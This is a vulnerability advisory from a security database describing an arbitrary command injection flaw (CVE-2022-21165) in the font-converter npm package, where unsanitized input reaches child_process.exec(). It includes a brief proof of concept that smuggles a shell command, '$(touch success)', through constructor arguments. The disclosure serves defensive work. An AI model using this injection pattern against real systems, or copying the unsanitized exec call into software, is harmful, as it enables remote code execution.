Arbitrary Command Injection Affecting font-converter package, versions *
Threat Intelligence
EPSS
0.58% (79th
percentile)
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Test your applications- Snyk ID SNYK-JS-FONTCONVERTER-2976194
- published 28 Aug 2022
- disclosed 7 Aug 2022
- credit OmniTaint
Introduced: 7 Aug 2022
CVE-2022-21165 Open this link in a new tabHow to fix?
There is no fixed version for font-converter.
Overview
font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)
Affected versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.
PoC
var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
new PUT(x,x,x,x);
} catch (e) {
console.log(e);
}
References
CVSS Scores
version 3.1